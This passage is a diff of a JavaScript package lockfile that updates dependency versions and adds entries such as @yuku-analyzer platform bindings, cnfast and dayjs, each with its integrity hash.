["@yuku-analyzer/binding-freebsd-x64@0.9.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-Ao4/v+ppzIFVs2SldvBM2hc9NsijXNsKc1xUY+d+Nv20HrjRdm96HtrkIViw7zI5i6Ca77jkd8VbhWE8E4kgyg=="], - "@types/react-copy-to-clipboard": ["@types/react-copy-to-clipboard@5.0.7", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="], + "@yuku-analyzer/binding-linux-arm-gnu": ["@yuku-analyzer/binding-linux-arm-gnu@0.9.3", "", { "os": "linux", "cpu": "arm" }, "sha512-EZc2H6bAyl4u3z48Jtqf4Un1657TpOkBWEmSdPCY1tHCO4YUFaNAz4dPA93yWgo5t38oRQT9UoXlwse/4aLtxw=="], - "@types/react-dom": ["@types/react-dom@19.2.3", "", { "peerDependencies": { "@types/react": "^19.2.0" } }, "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ=="], + "@yuku-analyzer/binding-linux-arm-musl": ["@yuku-analyzer/binding-linux-arm-musl@0.9.3", "", { "os": "linux", "cpu": "arm" }, "sha512-pKny3wEa2Xl4kPoqNU8fO5NCzcp9VgMAkLpN3GZ5TOkdz23ppuzUqddlhad43/9puxfckX5aZqfxML/1vGoxBw=="], - "@types/react-syntax-highlighter": ["@types/react-syntax-highlighter@15.5.13", "", { "dependencies": { "@types/react": "*" } }, "sha512-uLGJ87j6Sz8UaBAooU0T6lWJ0dBmjZgN1PZTrj05TNql2/XpC6+4HhMT5syIdFUUt+FASfCeLLv4kBygNU+8qA=="], + "@yuku-analyzer/binding-linux-arm64-gnu": ["@yuku-analyzer/binding-linux-arm64-gnu@0.9.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-bfpsIupfbX7N4ueSjo3Zm+Mob0q7MjrZX+INMGcPjNnXBcyKjkzrTotkqbEbwgfiNKhqyDVjynwsh64xsv5IPg=="], - "@types/unist": ["@types/unist@3.0.3", "", {}, "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="], + "@yuku-analyzer/binding-linux-arm64-musl": ["@yuku-analyzer/binding-linux-arm64-musl@0.9.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-Q+AAUrrsgYgHb0/Wrm+HnSKN7xOpkC+6Y2812dZw5/rrSX7+qjRjJ+3uNnCZlkHpH3Hy7WXbLIa/IncP4bcHQA=="], + + "@yuku-analyzer/binding-linux-x64-gnu": ["@yuku-analyzer/binding-linux-x64-gnu@0.9.3", "", { "os": "linux", "cpu": "x64" }, "sha512-ZQyjmSDRHTkDlddrzmIG1/nMUYDZC21XUguzQ4qvSWtfq6CsfJvIDFBPfJ03YDNQ+wR0px9Ly/xAa8VC0p9rHQ=="], + + "@yuku-analyzer/binding-linux-x64-musl": ["@yuku-analyzer/binding-linux-x64-musl@0.9.3", "", { "os": "linux", "cpu": "x64" }, "sha512-EIYzThB5pI3BiZHFNYyY8nMQ38z9l8/kT8uYvfYVpZ9TNEC0YgqX95MH61l9RILCYFDx+DbLoGajGY55JFvb6Q=="], - "@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="], + "@yuku-analyzer/binding-win32-arm64": ["@yuku-analyzer/binding-win32-arm64@0.9.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-KF+Ho3jtjikfPYJ76NL1KiPYwF+0UjnsASX0k461BZ1Er4pRQG39o8WvsngLT+fDg6JxB3v5J+ScDrto29RVnA=="], + + "@yuku-analyzer/binding-win32-x64": ["@yuku-analyzer/binding-win32-x64@0.9.3", "", { "os": "win32", "cpu": "x64" }, "sha512-4pdUfYVYPf05vyygvWiXsiI/tdPqn5bBiHs7c1TBIm3Kx7/w5pq++myNQ/8CUH/Proz+1kHtCr/lDJF9k67fqg=="], + + "@yuku-toolchain/types": ["@yuku-toolchain/types@0.9.3", "", {}, "sha512-rFE+5P4g2wxko5C85MugJOlVjBHEQq87dIkhLkniLXLp63PEtgaFjD954i5HXlfnyzLxPcZHsSOVDVgmo1HToA=="], "@zeit/schemas": ["@zeit/schemas@2.36.0", "", {}, "sha512-7kjMwcChYEzMKjeex9ZFXkt1AyNov9R5HZtjBKVsmVpw7pa7ZtlCGvCBC2vnnXctaYN+aRI61HjIqeetZW5ROg=="], - "acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="], + "acorn": ["acorn@8.18.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ=="], "acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="], @@ -579,7 +556,7 @@ "ansi-align": ["ansi-align@3.0.1", "", { "dependencies": { "string-width": "^4.1.0" } }, "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w=="], - "ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + "ansi-regex": ["ansi-regex@6.3.0", "", {}, "sha512-WpDfL7NO6j7tH88IDBNVdUJxDh9nmCteAVW9dsep846XdwF4naCBK+/tGLX3KJgcpgMRXCFlTM2hKGoK9FsdrQ=="], "ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], @@ -587,8 +564,6 @@ "arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="], - "argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="], - "aria-hidden": ["aria-hidden@1.2.6", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA=="], "astring": ["astring@1.9.0", "", { "bin": { "astring": "bin/astring" } }, "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg=="], @@ -599,21 +574,21 @@ "balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="], - "baseline-browser-mapping": ["baseline-browser-mapping@2.10.40", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-BSSLZ9/Cjjv7Gtj5B68ZzXcXUg8iOf3fme+FCuh8rC/Go+Kmh8cox7M3A8dolou16s64QjLPOSdngh7GxXvkSw=="], + "baseline-browser-mapping": ["baseline-browser-mapping@2.11.20", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-H0ulySigv6icDJ1F7SjtdCD6PrhTpdYCmP0CactWy1+ekh0AFd0o1Wn5T8b+hnTmdBx19u9yhL6wvCylXMY7zw=="], "boxen": ["boxen@7.0.0", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^7.0.0", "chalk": "^5.0.1", "cli-boxes": "^3.0.0", "string-width": "^5.1.2", "type-fest": "^2.13.0", "widest-line": "^4.0.1", "wrap-ansi": "^8.0.1" } }, "sha512-j//dBVuyacJbvW+tvZ9HuH03fZ46QcaKvvhZickZqtB271DxJ7SNRSNxrV/dZX0085m7hISRZWbzWlJvx/rHSg=="], - "brace-expansion": ["brace-expansion@5.0.5", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-VZznLgtwhn+Mact9tfiwx64fA9erHH/MCXEUfB/0bX/6Fz6ny5EGTXYltMocqg4xFAQZtnO3DHWWXi8RiuN7cQ=="], + "brace-expansion": ["brace-expansion@5.0.9", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg=="], - "browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": { "browserslist": "cli.js" } }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + "browserslist": ["browserslist@4.28.8", "", { "dependencies": { "baseline-browser-mapping": "^2.11.12", "caniuse-lite": "^1.0.30001809", "electron-to-chromium": "^1.5.402", "node-releases": "^2.0.53", "update-browserslist-db": "^1.3.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-V2NpofLblG64mfOtSgDhOJESZEGogzDMBv/q+W6oc4LXWP/q75eOXoOaaOu1EOadB9U4Bwx/e0yzbvwKH8zalA=="], "bytes": ["bytes@3.1.2", "", {}, "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="], - "cac": ["cac@6.7.14", "", {}, "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ=="], + "cac": ["cac@7.0.0", "", {}, "sha512-tixWYgm5ZoOD+3g6UTea91eow5z6AAHaho3g0V9CNSNb45gM8SmflpAc+GRd1InC4AqN/07Unrgp56Y94N9hJQ=="], "camelcase": ["camelcase@7.0.1", "", {}, "sha512-xlx1yCK2Oc1APsPXDL2LdlNP6+uu8OCDdhOBSVT279M/S+y75O30C2VuD8T2ogdePBBl7PfPF4504tnLgX3zfw=="], - "caniuse-lite": ["caniuse-lite@1.0.30001759", "", {}, "sha512-Pzfx9fOKoKvevQf8oCXoyNRQ5QyxJj+3O0Rqx2V5oxT61KGx8+n6hV/IUyJeifUci2clnmmKVpvtiqRzgiWjSw=="], + "caniuse-lite": ["caniuse-lite@1.0.30001810", "", {}, "sha512-TITQPUkaz+aVk5GL6NhOdwk1aEaNTSDPsGFWrTuhKGtjTF70jL/Oht2W4c6rXUe5fu7Ie19VIahAXHIIiWWNeg=="], "ccount": ["ccount@2.0.1", "", {}, "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg=="], @@ -631,7 +606,7 @@ "character-reference-invalid": ["character-reference-invalid@2.0.1", "", {}, "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw=="], - "chokidar": ["chokidar@4.0.3", "", { "dependencies": { "readdirp": "^4.0.1" } }, "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA=="], + "chokidar": ["chokidar@5.0.0", "", { "dependencies": { "readdirp": "^5.0.0" } }, "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw=="], "class-variance-authority": ["class-variance-authority@0.7.1", "", { "dependencies": { "clsx": "^2.1.1" } }, "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg=="], @@ -645,6 +620,8 @@ "clsx": ["clsx@2.1.1", "", {}, "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA=="], + "cnfast": ["cnfast@0.1.0", "", { "bin": { "cnfast": "bin/cli.js" } }, "sha512-rH0jBKeLkVrK7NsZ5Ba2l7WdMBmm1k0FMpABeXUU1PgTUxbz3261gEuCSsrYuXo4BwAe3yCcIbQ93YyS52lOGQ=="], + "collapse-white-space": ["collapse-white-space@2.1.0", "", {}, "sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw=="], "color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="], @@ -667,7 +644,7 @@ "convert-source-map": ["convert-source-map@2.0.0", "", {}, "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="], - "cookie": ["cookie@1.1.1", "", {}, "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ=="], + "cookie-es": ["cookie-es@3.1.1", "", {}, "sha512-UaXxwISYJPTr9hwQxMFYZ7kNhSXboMXP+Z3TRX6f1/NyaGPfuNUZOWP1pUEb75B2HjfklIYLVRfWiFZJyC6Npg=="], "copy-to-clipboard": ["copy-to-clipboard@3.3.3", "", { "dependencies": { "toggle-selection": "^1.0.6" } }, "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA=="], @@ -699,9 +676,11 @@ "d3-zoom": ["d3-zoom@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "2 - 3", "d3-transition": "2 - 3" } }, "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw=="], + "dayjs": ["dayjs@1.11.23", "", {}, "sha512-QDTCU0M0MxR3hQfnlDJfwekQiaanm1ubOD231u73WBckQ/fsamwRLiE2GBz6D3a/xF1NgfiDLJjXBa1hYOYTtQ=="], + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - "decode-named-character-reference": ["decode-named-character-reference@1.2.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q=="], + "decode-named-character-reference": ["decode-named-character-reference@1.3.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q=="], "dedent": ["dedent@1.7.2", "", { "peerDependencies": { "babel-plugin-macros": "^3.1.0" }, "optionalPeers": ["babel-plugin-macros"] }, "sha512-WzMx3mW98SN+zn3hgemf4OzdmyNhhhKz5Ay0pUfQiMQ3e1g+xmTJWp/pKdwKVXhdSkAEGIIzqeuWrL3mV/AXbA=="], @@ -719,21 +698,21 @@ "eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="], - "electron-to-chromium": ["electron-to-chromium@1.5.263", "", {}, "sha512-DrqJ11Knd+lo+dv+lltvfMDLU27g14LMdH2b0O3Pio4uk0x+z7OR+JrmyacTPN2M8w3BrZ7/RTwG3R9B7irPlg=="], + "electron-to-chromium": ["electron-to-chromium@1.5.416", "", {}, "sha512-K6bvB2BjnNrugtIih6ewlbBI9DXa976jIdiIlRLHhBoEI9a4JaQjjHyF+A1IQI543aQYR4LnmOrT/K5fZj0aPA=="], "emoji-regex": ["emoji-regex@9.2.2", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="], - "enhanced-resolve": ["enhanced-resolve@5.21.6", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-aNnGCvbJ/RIyWo1IuhNdVjnNF+EjH9wpzpNHt+ci/m9He9LJvUN8wrCcXjp9cWsGNAuvSpVFTx/vraAFQ8qGjQ=="], + "enhanced-resolve": ["enhanced-resolve@5.24.5", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-L1l8TNvomm6UVW5B253AGxQagSQr+vGwhMlrrfRS2qmhx46AMpMVJKQYLvWYbysTMY8VoicOvzHzoHMbyzB+4A=="], "entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="], - "es-module-lexer": ["es-module-lexer@1.7.0", "", {}, "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA=="], + "es-module-lexer": ["es-module-lexer@2.3.2", "", {}, "sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw=="], "esast-util-from-estree": ["esast-util-from-estree@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-visit": "^2.0.0", "unist-util-position-from-estree": "^2.0.0" } }, "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ=="], "esast-util-from-js": ["esast-util-from-js@2.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "acorn": "^8.0.0", "esast-util-from-estree": "^2.0.0", "vfile-message": "^4.0.0" } }, "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw=="], - "esbuild": ["esbuild@0.28.0", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.0", "@esbuild/android-arm": "0.28.0", "@esbuild/android-arm64": "0.28.0", "@esbuild/android-x64": "0.28.0", "@esbuild/darwin-arm64": "0.28.0", "@esbuild/darwin-x64": "0.28.0", "@esbuild/freebsd-arm64": "0.28.0", "@esbuild/freebsd-x64": "0.28.0", "@esbuild/linux-arm": "0.28.0", "@esbuild/linux-arm64": "0.28.0", "@esbuild/linux-ia32": "0.28.0", "@esbuild/linux-loong64": "0.28.0", "@esbuild/linux-mips64el": "0.28.0", "@esbuild/linux-ppc64": "0.28.0", "@esbuild/linux-riscv64": "0.28.0", "@esbuild/linux-s390x": "0.28.0", "@esbuild/linux-x64": "0.28.0", "@esbuild/netbsd-arm64": "0.28.0", "@esbuild/netbsd-x64": "0.28.0", "@esbuild/openbsd-arm64": "0.28.0", "@esbuild/openbsd-x64": "0.28.0", "@esbuild/openharmony-arm64": "0.28.0", "@esbuild/sunos-x64": "0.28.0", "@esbuild/win32-arm64": "0.28.0", "@esbuild/win32-ia32": "0.28.0", "@esbuild/win32-x64": "0.28.0" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-sNR9MHpXSUV/XB4zmsFKN+QgVG82Cc7+/aaxJ8Adi8hyOac+EXptIp45QBPaVyX3N70664wRbTcLTOemCAnyqw=="], + "esbuild": ["esbuild@0.28.2", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.2", "@esbuild/android-arm": "0.28.2", "@esbuild/android-arm64": "0.28.2", "@esbuild/android-x64": "0.28.2", "@esbuild/darwin-arm64": "0.28.2", "@esbuild/darwin-x64": "0.28.2", "@esbuild/freebsd-arm64": "0.28.2", "@esbuild/freebsd-x64": "0.28.2", "@esbuild/linux-arm": "0.28.2", "@esbuild/linux-arm64": "0.28.2", "@esbuild/linux-ia32": "0.28.2", "@esbuild/linux-loong64": "0.28.2", "@esbuild/linux-mips64el": "0.28.2", "@esbuild/linux-ppc64": "0.28.2", "@esbuild/linux-riscv64": "0.28.2", "@esbuild/linux-s390x": "0.28.2", "@esbuild/linux-x64": "0.28.2", "@esbuild/netbsd-arm64": "0.28.2", "@esbuild/netbsd-x64": "0.28.2", "@esbuild/openbsd-arm64": "0.28.2", "@esbuild/openbsd-x64": "0.28.2", "@esbuild/openharmony-arm64": "0.28.2", "@esbuild/sunos-x64": "0.28.2", "@esbuild/win32-arm64": "0.28.2", "@esbuild/win32-ia32": "0.28.2", "@esbuild/win32-x64": "0.28.2" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA=="], "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], @@ -745,7 +724,7 @@ "estree-util-is-identifier-name": ["estree-util-is-identifier-name@3.0.0", "", {}, "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg=="], - "estree-util-scope": ["estree-util-scope@1.0.0", "", { "dependencies": { "@types/estree": "^1.0.0", "devlop": "^1.0.0" } }, "sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ=="], + "estree-util-scope": ["estree-util-scope@1.0.1", "", { "dependencies": { "@types/estree": "^1.0.0", "devlop": "^1.0.0" } }, "sha512-B0np3dcdxqILX5e9nEi5/Fr4K7gL4oYFVPV1zRa2e9wRCbQoZZNWOZFYyoInvXUPJXBXjss+QXlWLJChDEHDkA=="], "estree-util-to-js": ["estree-util-to-js@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "astring": "^1.8.0", "source-map": "^0.7.0" } }, "sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg=="], @@ -757,15 +736,15 @@ "execa": ["execa@5.1.1", "", { "dependencies": { "cross-spawn": "^7.0.3", "get-stream": "^6.0.0", "human-signals": "^2.1.0", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.1", "onetime": "^5.1.2", "signal-exit": "^3.0.3", "strip-final-newline": "^2.0.0" } }, "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg=="], - "exit-hook": ["exit-hook@2.2.1", "", {}, "sha512-eNTPlAD67BmP31LDINZ3U7HSF8l57TxOY2PmBJ1shpCvpnxBF93mWCE8YHBnXs8qiUZJc9WDcWIeC3a2HIAMfw=="], + "exit-hook": ["exit-hook@5.1.0", "", {}, "sha512-INjr2xyxHo7bhAqf5ong++GZPPnpcuBcaXUKt03yf7Fie9yWD7FapL4teOU0+awQazGs5ucBh7xWs/AD+6nhog=="], - "exsolve": ["exsolve@1.0.8", "", {}, "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA=="], + "exsolve": ["exsolve@1.1.1", "", {}, "sha512-9U/jZUgjnSGyntRr6y5Muu1MJcwFl6kPu7k8qLF0IMNfLqvw0NZ4nnVDq0RVoZ0RvCyumib4Ez3KYrVfilrw+g=="], "extend": ["extend@3.0.2", "", {}, "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="], "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], - "fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="], + "fast-uri": ["fast-uri@3.1.6", "", {}, "sha512-7Ical1vFEMr0onbVzEDIreM22I4khW+fzyQPwvAFWBp1iwdshSZRsL4jjRvPG9JP1uiqMHRto+YU6R2/CzDz5Q=="], "fault": ["fault@1.0.4", "", { "dependencies": { "format": "^0.2.0" } }, "sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA=="], @@ -773,15 +752,15 @@ "format": ["format@0.2.2", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="], - "framer-motion": ["framer-motion@12.42.0", "", { "dependencies": { "motion-dom": "^12.42.0", "motion-utils": "^12.39.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-wp7EJnfWaaEScVygKv3e20udoRz+LbtxScsuTkakAxfXmt+ReC6WyPW2nINRAGvd+hG9odwcjBLyOTPjH5pBRA=="], + "framer-motion": ["framer-motion@13.1.1", "", { "dependencies": { "motion-dom": "^13.1.1", "motion-utils": "^13.0.0", "tslib": "^2.4.0" }, "peerDependencies": { "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["react", "react-dom"] }, "sha512-B/xn2TPS4f61cEBLFjiYlQFnBZUW1YVj/LM+C+N4OP8Rs95VLEI2ot/RlfBg111la/EiyECFaJJi/A3FWA8MUA=="], "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], - "fumadocs-core": ["fumadocs-core@16.10.6", "", { "dependencies": { "@orama/orama": "^3.1.18", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "js-yaml": "^5.1.0", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.2.0", "tinyglobby": "^0.2.17", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x || 8.x.x", "waku": "*", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", 